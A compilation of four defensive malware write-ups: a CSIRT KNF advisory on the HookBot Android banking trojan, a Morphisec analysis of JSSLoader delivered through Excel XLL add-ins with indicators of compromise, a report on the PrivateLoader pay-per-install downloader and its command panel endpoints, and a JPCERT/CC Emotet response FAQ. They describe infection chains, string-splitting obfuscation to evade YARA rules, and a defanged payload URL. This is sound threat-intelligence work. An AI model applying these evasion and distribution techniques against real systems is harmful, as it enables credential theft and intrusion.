The HookBot Trojan is malware designed to gain access to a user's private information, such as passwords to online banking, email accounts, cryptocurrency wallets, or popular social networking sites. In the current version of the malware, the creators have prepared a record 772 forms impersonating legitimate applications, 24 of them from the Polish domain. Among the prepared forms impersonating an application from the .pl domain, we identified the following brands:
- Allegro
- Bank BPH
- Bank Polskiej Spółdzielczości
- Santander Bank Polska
- Ceneo
- Rossmann
- EnveloBank
- Euro Bank
- Fakturownia
- Idea Bank
- iFirm
- ING Bank Śląski
- mBank
- Millennium Bank
- Nest Bank
- Noble Bank
- Novum Bank
- Orange Polska
- PKO BP
- Raiffeisen Bank
The criminals also prepared forms for the most popular social networks. The malware also targets applications that support cryptocurrency wallets, such as:
- Cryptopay
- MyWallet
- BitPay
A full list of forms used can be found in the technical analysis report. HookBot is distributed by fake applications that masquerade as legitimate, often popular software. For example, the HookBot in question first presents itself as a Google Chrome browser.
Once the device is infected, the malware can access system functions to track and capture sensitive information. Through reverse engineering, CSIRT KNF analysts have identified a number of functions that the malware can perform. One of these is privilege escalation, a process by which the malware gains privileges that are not granted by default. HookBot uses Accessibility Services for privilege escalation. These are features designed for people with disabilities to make the device easier to use.
What is new compared to other malware families, even previous families from the same developer, is the support for the WhatsApp application. The malware can read, write, and send messages in this messenger. The process of monetizing the infection takes place when the victim of an infected device launches an application that is on the malware's target list. The malware uses the system's WebView component to display a fake login page for the service the user has launched (this is known as the overlay mechanism). For example, if a banking application is on the criminals' target list and the user decides to open it, a fake login window will be displayed on top of the original application. If the user does not realize that this is not the real banking application and enters their credentials, it will be sent to a server controlled by the malware. If the user has an SMS-based two-factor authentication mechanism, the received SMS codes can be read and also sent to the attackers.
The HookBot Trojan poses a serious threat to data security and user privacy. To protect yourself from infection, the CSIRT KNF advises you to:
- Download applications from the official Google Play store.
- Check the permissions required by the application before installing it (this information is available in the Google Play store).
- Check which applications have been granted accessibility services and disable those that are not necessary.
- Update the software on your device regularly.
Below is a report on the technical analysis of the malware's operation. The content includes information on the details of how each component works, as well as a full list of forms used to impersonate legitimate applications. We encourage you to read it! |
# New JSSLoader Trojan Delivered Through XLL Files
Posted by Hido Cohen on March 23, 2022
Morphisec Labs has observed a new wave of JSSLoader infections this year. We’ve tracked JSSLoader activity since December 2020 and published a thorough report on the Russian criminal hacking group FIN7’s JSSLoader: The Evolution of the FIN7 JSSLoader. JSSLoader is a small, very capable .NET remote access trojan (RAT). Its capabilities include data exfiltration, persistence, auto-updating, additional payload delivery, and more.
Attackers are now using .XLL files to deliver a new, obfuscated version of JSSLoader. We explain how this new malware variant utilizes the Excel add-ins feature to load the malware and inspect the changes inside.
## Infection Chain
This infection chain is similar to other XLL infections. The victim receives a malicious attachment, either an XLM or XLL file, inside an email. Once the attachment is downloaded and executed, Excel loads and executes the malicious code inside the .xll file, which then downloads the payload from a remote server. The payload is a new, similar variant of JSSLoader.
## XLL Excel Add-in
The first stage of the malware responsible for downloading JSSLoader into an infected machine uses an Excel add-in file, denoted by an XLL file extension. Because the file isn’t signed, a popup displays for the user before executing.
Each XLL file must implement and export the xlAutoOpen function. This function is called by Excel whenever an XLL is activated. In our case, the malicious activity is located at the end of xlAutoOpen. Before exiting from the function, the malware loads itself, the .XLL file, into memory (not relevant to the attack) and calls the mw_download_and_execute function. This function is responsible for downloading the payload from a remote server. An attacker uses a different User-Agent between samples to help avoid network signature-based security solutions.
Once downloaded, the XLL file creates a temp file with a DNA prefix using a GetTempFileNameW API call and executes it as a new process.
## New Obfuscation Layer
Look carefully at the dropped sample and compare it with a JSSLoader sample. They share the exact same execution flow. So, what's different? This variant introduces a new layer of string obfuscation, renaming all functions and variables names.
In order to evade static threat scanners, this variant has a simple string decoding mechanism. This version appears focused on breaking the string-based YARA rules used in the wild. It does so by splitting the strings into substrings and concatenating them at runtime.
## This New Malware Variant Evades Traditional Security
Morphisec Labs will continue to monitor the evolution of JSSLoader and its delivery methods. Although it didn't present new capabilities, this new JSSLoader variant is a worry, especially for organizations relying on their next-generation antivirus (NGAV) or endpoint detection and response (EDR) to stop it. Most NGAV and EDR solutions won’t detect day zero .XLL files hiding a JSSLoader. It can take days or weeks before signatures are deployed, all while attackers have free reign inside your network.
However, Morphisec’s Moving Target Defense (MTD) technology instantly stops these and other unknown and zero-day attacks. It uses system polymorphism to unpredictably hide application targets, operating system targets, and other critical asset targets from adversaries. This leads to a dramatically reduced attack surface.
Gartner analysts have called Moving Target Defense a “game changer.” MTD can uniquely detect and stop ransomware, zero-day, and other advanced attacks that bypass NGAV, EDR, and other defenses.
## Indicators of Compromise (IOCs)
**XLLs**
- d42dfbeba20624a190cf903d28ac5ef5e6ff0f5c120e0f8e14909fec30871134
- a8da877ebc4bdefbbe1b5454c448880f36ffad46d6d50083d586eee2da5a31ab
- 8783eb00acb3196a270c9be1e06d4841bf1686c7f7fc6e009d6172daf0172fc6
- 7a234d1a2415834290a3a9c7274aadb7253dcfe24edb10b22f1a4a33fd027a08
- c6224a579fcef3b67c02dabe55cc486a476e10f7ab9181a91c839fa3de0876fd
- 8b76c48088a56532f73389933737af0cbe7a404e639ec51136090c7d8c8207c9
**JSSLoader**
- 48053356188dd419c6212e8adb1d5156460339f07838f2c00357cfd1b4a05278
- da480b19c68c2dee819f7b06dbfdba0637fea2c165f3190c2a4994570c3dae2a
- 910b6f3087b1d5342a2681376c367b53e30cf21dd9409fb1000ffb60893a7051
- de099bf0297de8e2fad37acc55c6b0456d1fd98a6fc1fbc381759e82a4e207c3
- ee8f394d9e192c453d47a0c57261a03921dcbb97248a67427cb6fc6d8833c8a0
- a29c97cb43cd16fad9276e161017ae654eb9cc989081c7584f8f14a3795deb0e
- 154186b5e0f5fae753a1f90c93a7150927bd03017e55f44abf21a5a08b7ec4ba
- 38700a77355cdcc7804c53fa95072cd44835ac775fb6d16f8bd345e8ab13d353
- 576560ada2906c22ca777ac51ed6f2b99086b94bbe44d86b82abe7d77736ba6a
- 9419a0087f6fc8bccf318d7a2c9f9e709c81df651ab6ba65c10f28c4a34257a7
- cd6ad1e880396edc3cdcceba996dd424e96f4961e4884aee52717069537553e8
- 33e8b5ea7a0900f2d4b56369fda2d29a06a586ddc0c9fd85fc17ea967f83f45d
- 1af5f9b2b22282891adb17fb9283b47b7ba7a9439fef22cfba0320155dff3ae9
**Domains**
- physiciansofficenews.com
- thechinastyle.com
- divorceradio.com |
# PrivateLoader: The First Step in Many Malware Schemes
Pay-per-install (PPI) malware services have been an integral part of the cybercrime ecosystem for a considerable amount of time. A malware operator provides payment, malicious payloads, and targeting information, and those responsible for running the service outsource the distribution and delivery. The accessibility and moderate costs allow malware operators to leverage these services as another weapon for rapid, bulk, and geo-targeted malware infections.
By understanding how these services proliferate, defenders can better recognize these campaigns and stop them from wreaking havoc on their organization’s IT stack. This report focuses on the PrivateLoader modular downloader programmed in C++ connected to an unidentified PPI service. PrivateLoader sits at the front of this operation and communicates with its back-end infrastructure to retrieve URLs for the malicious payloads to “install” on the infected host. As is the case with downloaders tied to PPI services, PrivateLoader communicates a variety of statistics such as which payloads were downloaded and launched successfully.
Distribution campaigns generally rely on a network of search engine optimization (SEO) enhanced websites that lure unsuspecting victims searching for warez, aka pirated software, to download and execute malware. A password-protected archive typically is delivered that contains a setup file that embeds and executes multiple malicious payloads on the infected host such as GCleaner, PrivateLoader, Raccoon, Redline, Smokeloader, and Vidar malware. We assess these campaigns started to incorporate PrivateLoader since at least May 2021.
This report investigates the PPI service behind it and methods operators employ to obtain “installs” and presents details about the malware families the service delivers.
## How PrivateLoader Works
The service behind this PrivateLoader PPI campaign and its operators are unknown, as it was not possible to connect the downloader to a specific underground PPI service at the time of this report. However, we observed PrivateLoader’s main command and control (C2) servers also host the administration panel, which is based on the AdminLTE 3 dashboard template.
The front-end script, which uses the Javascript library app.js, appears to expose functionalities offered to panel users. The table below describes interesting JavaScript functions in the script:
| FUNCTION | DESCRIPTION | ENDPOINT AND PARAMETERS |
|-------------------------|---------------------------------------------------------------|-------------------------------------------------------------|
| AddNewUser | Adds a new user with a specific role. | /base/user_reg.php<br>login: User login.<br>password: User password.<br>role: User role as an integer. |
| saveUser | Modifies an existing user. | /base/user_reg.php<br>user_id: User identifier.<br>login: New user login.<br>password: New user password.<br>role: New user role as an integer.<br>banned: Banned status as an integer. |
| AddNewLink | Adds a loader link configuration to a payload to install. | /base/link_add.php<br>link_url: Download link to the payload to install.<br>link_status: Link status as an integer.<br>link_geo: Targeted geolocation as an integer.<br>link_dmethod: Link distribution method as an integer. |
| EditStatusLink | Updates the status of a loader link configuration. | /base/link_edit.php<br>link_id: Loader link identifier.<br>link_status: New status as an integer. |
| editUrlLink | Edits the URL for a loader link configuration. | /base/link_url_edit.php<br>link_id: Loader link identifier.<br>link_url: Updated download link. |
| removeLink | Removes a loader link configuration. | /base/link_del.php<br>link_id: Loader link identifier. |
| EditGeoLink | Updates the geolocation targeting for a loader link | /base/link_edit_geo.php<br>link_id: Loader link identifier.<br>link_geo: New targeted geolocation as an integer. |
| saveLinkInformation | Modifies an existing loader link configuration. | /base/link_edit_info.php<br>link_id: Loader link identifier.<br>link_url: Download link of the payload.<br>link_status: Status as an integer.<br>link_geo: Targeted geolocation as an integer.<br>link_ftype: Selected category identifier of the payload as an integer.<br>link_countries: Targeted countries as a string.<br>link_arguments: Arguments to pass to the payload as a string.<br>link_onlybytype: Integer that indicates to run the payload only if the category identifier matches.<br>link_subgeo: Subgeolocation as a string.<br>link_dmethod: Link distribution method as an integer. |
| AddNewExtension | Adds a configuration to a browser extension to install. | /base/extension_add.php<br>extension_url: Download link to the browser extension to install.<br>config_url: Download link to the configuration of the browser extension.<br>ext_status: Extension status as an integer.<br>ext_geo: Targeted geolocation as an integer. |
| editUrlExtension | Edits the URL for a browser extension configuration. | /base/extension_url_edit.php<br>extension_id: Extension identifier.<br>ext_url: New link to the extension.<br>cfg_url: New link to the extension configuration. |
| removeExtension | Removes a browser extension configuration. | /base/extension_del.php<br>ext_id: Extension identifier. |
| saveExtensionInformation | Modifies an existing browser extension configuration. | /base/extension_edit_info.php<br>ext_id: Extension identifier.<br>ext_url: Download link of the extension.<br>cfg_url: Download link of the extension configuration.<br>ext_status: Extension status as an integer.<br>ext_geo: Targeted geolocation as an integer.<br>ext_countries: Targeted countries as a string. |
| LoadFileToEncrypt | Encrypts a file. Possibly uses the byte substitution and XOR algorithm described in the Malware Report | /base/file_crypt.php<br>Multipart form POST request with the file to encrypt. |
| CalculateAllLinksLoads | Returns the number of total and unique installed payloads for all link identifiers. | /base/logger_counter.php<br>ids: All link identifiers. |
| CalculateCurrentLinksLoads | Returns the number of total and unique installed payloads for a link identifier. | /base/logger_counter.php<br>ids: Single link identifier. |
## Delivering the PrivateLoader Downloader
PrivateLoader is delivered through a network of websites that claim to provide “cracked” software, which are modified versions of popular legitimate applications that people commonly use. These websites are SEO optimized and usually appear at the top of search queries that contain keywords such as “crack” or “crack download.”
For example, a search for “Malwarebytes crack” returns several websites as the fourth and fifth results. Visitors are lured into clicking a “Download Crack” or “Download Now” button to obtain an allegedly cracked version of the software. The JavaScript for the download button is retrieved from a remote server.
After a few redirections, the final payload is served to the user as a password-protected compressed (.zip) archive. In our example, the archive served was named “PASSWORD_IS_324325____Malwarebytes-Pr.zip.” It contained a Nullsoft Scriptable Install System (NSIS) installer named “setup_x86_x64_install.exe,” which embeds and executes numerous malicious payloads such as GCleaner, PrivateLoader, and Redline.
Researchers from SophosLabs previously investigated this delivery network and tied some of its infrastructure to the InstallUSD PPI service.
## Malware Families Dropped
Automated malware coverage and tracking for PrivateLoader started in early September 2021. We have since gathered sizable amounts of data that helped us learn more about the service.
The following chart shows the number of unique hashes downloaded by PrivateLoader for each malware family our Malware Intelligence systems detected. The most popular families this PPI service distributed in descending order were Smokeloader, Redline, and Vidar.
Each PrivateLoader sample embeds a region code that is communicated to the C2 server and country of the bot. The chart below depicts the number of unique hashes downloaded per region code during the coverage. We believe the “WW” prefix in these region codes stands for “worldwide,” since it was most commonly found in samples. On the panel side, we suspect this code represents the “link_geo” parameter described in the previous table.
However, we observe a different distribution when querying the number of unique hashes by bots’ country codes. This is expected since popular worldwide region codes encapsulate multiple countries.
### Smokeloader
Of the payloads we saw pushed by PrivateLoader, the most common was Smokeloader. The following chart shows the extracted affiliate IDs (or lack thereof) from all unique Smokeloader samples detected by our Malware Intelligence systems.
The top 10 detected domains used to deliver Smokeloader included:
| HOST NAME | UNIQUE SAMPLES DOWNLOADED |
|------------------------------------------|---------------------------|
| privacytoolz123foryou[.]top | 321 |
| threesmallhills[.]com | 296 |
| privacy-toolz-for-you-5000[.]top | 264 |
| privacytoolzforyou-7000[.]top | 231 |
| privacytoolzforyou-7000[.]com | 212 |
| privacytoolzforyou7000[.]top | 200 |
| privacytoolzforyou-6000[.]top | 179 |
| privacy-toolz-for-you-403[.]top | 177 |
| privacy-tools-for-you-777[.]com | 150 |
| privacytoolzforyou6000[.]top | 136 |
It’s apparent the operators running the “Privacy tools” domains heavily rely on PrivateLoader to deliver Smokeloader. An inspection of active distribution URLs showed these domains host a website that claims to offer “Privacy Tools.” This website likely is spoofing the real PrivacyTools[.]io website run by volunteers who advocate for data privacy.
These websites host Smokeloader payloads as part of three categories named “pab1,” “pab2,” and “pab3.” These are not necessarily linked to the analogous “pub*” affiliate IDs, since we have seen some “pab2” payloads with the “555” affiliate ID. While tracking PrivateLoader, we only received links to download the “pab2” payloads from these websites. It is likely these operators use other methods or PPI services to distribute the Smokeloader family.
On Oct. 22, 2021, a “pab2” Smokeloader sample downloaded by PrivateLoader from one of these websites delivered the Qbot banking trojan. This is an unusual distribution method for Qbot and revealed the new botnet ID star01.
### Banking Trojans
There are other actors throughout the underground that leverage PrivateLoader for banking trojan distribution. On Oct. 31, 2021, PrivateLoader bots connecting from European countries were instructed to download and execute the Kronos banking trojan from the following URL: hxxp://2.56.59[.]42/EU/Yandex1500[.]exe. The downloaded sample also executed the Vidar information stealer. The download and execute commands for this sample stopped the following day.
On Nov. 1, 2021, PrivateLoader bots downloaded Dridex samples tied to the 10444 botnet, and Danabot with the affiliate identifier 40. The same day, bots also downloaded Trickbot samples with the group tags (gtags) lip*, tot*, and top*. In all cases, the delivered samples embedded other malware families such as other banking trojans, information stealers, or ransomware.
### Ransomware
Underground PPI services generally advise against deploying ransomware on target machines since it renders them unusable. However, cybercriminals have a reputation for not adhering to rules and deploy ransomware anyway.
The only time in which we detected ransomware samples downloaded by PrivateLoader was when it dropped banking trojans in early November 2021. The table in the previous subsection showed downloads for the LockBit and STOP Djvu ransomware families. While analyzing payloads downloaded by PrivateLoader, we identified a new loader we dubbed Discoloader. Discoloader was written using the .NET framework and uses the Discord content delivery network (CDN) to host its payload. Although not directly from PrivateLoader, we observed samples of this family delivering Conti ransomware directly into infected hosts, which is an uncharacteristic delivery mechanism since this family typically only is deployed after total compromise of enterprise networks.
## Conclusion
PPI services have been a pillar of cybercrime for decades. Just like the wider population, criminals are going to flock to software that provides them a wide array of options to easily achieve their goals. As we have detailed, criminals have used PrivateLoader to launch all kinds of schemes. By highlighting the versatility of this malware, we hope to give defenders the chance to develop unique strategies in thwarting malware attacks empowered by PrivateLoader.
## MITRE ATT&CK Techniques
This report uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) framework.
| TECHNIQUE TITLE | ID | USE |
|-------------------------------|-----------------|---------------------------------------------------------------------|
| Resource Development | TA0042 | PrivateLoader often hosts malicious payloads on the Discord CDN. |
| Stage Capabilities: | T1608.001 | We observed recent controllers downloading attachments from specific IDs. |
| Persistence | TA0003 | PrivateLoader can be persisted as a startup service and is installed with specific attributes. |
| Browser Extensions | T1176 | PrivateLoader can download and silently install malicious browser extensions on Google Chrome and Microsoft Edge browsers. |
| Privilege Escalation | TA0004 | The PrivateLoader core module uses a Windows 10 user account control (UAC) bypass technique to elevate privileges. | |
# How to Respond to Emotet Infection (FAQ)
Since October 2019, there has been a growing number of Emotet infection cases in Japan. JPCERT/CC issued a security alert regarding Emotet malware infection. The purpose of this entry is to provide instructions on how to check if you are infected with Emotet and what you can do in case of infection (based on the information available as of December 2019). If you are not familiar with the detailed investigation methods described here, it is recommended that you consult with security vendors who can assist you.
## What can we do if we receive suspicious emails?
When suspicious emails impersonating someone with an attachment are received, it is possible that either of the following events has occurred:
A) The device that uses the sender’s account is infected with Emotet, and information about emails and the contact list has been stolen.
B) Partners and users (with whom you have exchanged emails) have been infected with Emotet, and their contact list has been stolen. (The recipients of the malicious email have not been infected with Emotet, but the email address has been added to the lists of recipients.)
If the email refers to an actual message body, the device that uses the sender’s email account is likely to be infected (case A). In case of an email that appears to be auto-generated to disguise itself as a reply to a thread, both A) and B) can apply, and it is unclear whether the device that uses the email account is infected or not.
## How to check for Emotet infection
JPCERT/CC released a tool “EmoCheck” to check whether a device is infected with Emotet.
### 1. Check Emotet infection with EmoCheck
#### 1-1. Download EmoCheck
Please download EmoCheck from the official website and copy it to the device that is suspected of being infected. Choose `emocheck_x86.exe` or `emocheck_x64.exe` depending on the device. (If you are not sure which to use, choose `emocheck_x86.exe`.)
#### 1-2. Execute EmoCheck
Execute the tool using the Command Prompt or PowerShell. (Note: If you execute the program by double-clicking, it will be blocked by Windows Defender Smart Screen as it does not have a Code Signing Certificate. We are now working to rectify the issue in the next release.)
If you see the message “[!!] Detected,” your device is infected with Emotet. The result is also exported in a .txt file in the folder where EmoCheck was executed. If you see the message “No detection,” your device is not infected with Emotet.
#### 1-3. How to deal with the infection
If an infection has been found in your environment, you can deactivate the malware by either of the following ways:
- On Explorer, open the “image path” folder shown in the EmoCheck result and delete the executable file in the folder.
- Launch Task Manager, and in the “details” tab, choose the process ID corresponding to the process shown in the EmoCheck result. Click “End Process.”
If you are not able to confirm Emotet infection with EmoCheck, please follow the below instructions to confirm.
1. **Confirm with the impersonated person**: Check whether the person opened the suspicious attachment and saw the messages in the sample screenshots. If they have seen one of the messages, check whether the macro is enabled on their device. If the macro is enabled, it is possible that the device is infected with malware.
2. **Perform the scan with anti-virus software**: Perform a device scan with the latest anti-virus signatures. Emotet has many variants, and even the latest signatures may not be able to detect infection for a few days. No detection does not necessarily mean no infection. It is recommended to update the signatures and conduct the scan regularly.
3. **Check auto-start settings**: Emotet has several methods for maintaining persistence such as setting auto-start registry keys, saving the payload into the Startup folder, etc. Check the following settings and confirm that suspicious files or settings do not exist.
- Auto-start registry: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
- Folders under `C:\Users(username)\AppData\Local\`
- `C:\ProgramData\`
- `C:\Windows\system32\`
- `C:\`
- `C:\Windows`
- `C:\Windows\Syswow64`
4. **Check email server log**: Check for a high volume of impersonating emails whose HeaderFrom and EnvelopFrom do not match, unusual increases in the volume of outbound emails, and a high volume of emails with a Word file attachment.
5. **Check network traffic log**: If you record/monitor outbound communication, check proxy and firewall logs for any suspicious access to multiple ports (C&C server) from a single device.
## What to do when we find Emotet infection?
1. **Isolate the infected device**: Preserve evidence of the infected device and check the emails stored in the device and email addresses in the contact list (these may have been leaked).
2. **Change passwords**: Change passwords of email accounts used in the infected device, including those used in Outlook and Thunderbird, and credentials stored in web browsers.
3. **Investigate all devices in the network**: Check other devices in the network as the malware is capable of spreading infection by lateral movement.
4. **Monitor network traffic log**: Ensure that the infected device is isolated and check whether there are any other infected devices.
5. **Check for other malware infections**: Check whether the infected device is also infected with other types of malware, as Emotet is capable of infecting the device with other types of malware.
6. **Alert stakeholders**: Notify stakeholders who may also be affected (whose email addresses have been stolen by the attacker).
7. **Initialize the infected device**.
## How to stop emails being sent from stolen accounts?
If emails and email addresses are stolen as a result of Emotet infection, impersonating emails with a malicious attachment will be sent continuously. There is no way to stop emails from being sent. It is likely that the recipients will continue to receive malware-attached emails repeatedly or impersonating emails will be sent to the stolen contacts. Please beware not to open suspicious email attachments. It is also recommended to perform scans with the latest anti-virus signatures and ensure that your OS and software are running with the latest security updates.
## What impact is expected if a device is infected with Emotet?
Emotet infection leads to exfiltration of emails and email addresses. Credentials stored in web browsers can be harvested. The infection can spread to other devices in the network, putting them at risk of being infected with other types of malware such as banking trojans and ransomware.
## What can we do to prevent Emotet infection?
Please refer to JPCERT/CC’s security alert for details.
---
**Author**: Ken Sajo
Joined JPCERT/CC in January 2019 after being engaged in security monitoring operation at a financial institution. Currently in charge of threat analysis and incident response for email scams and APT. |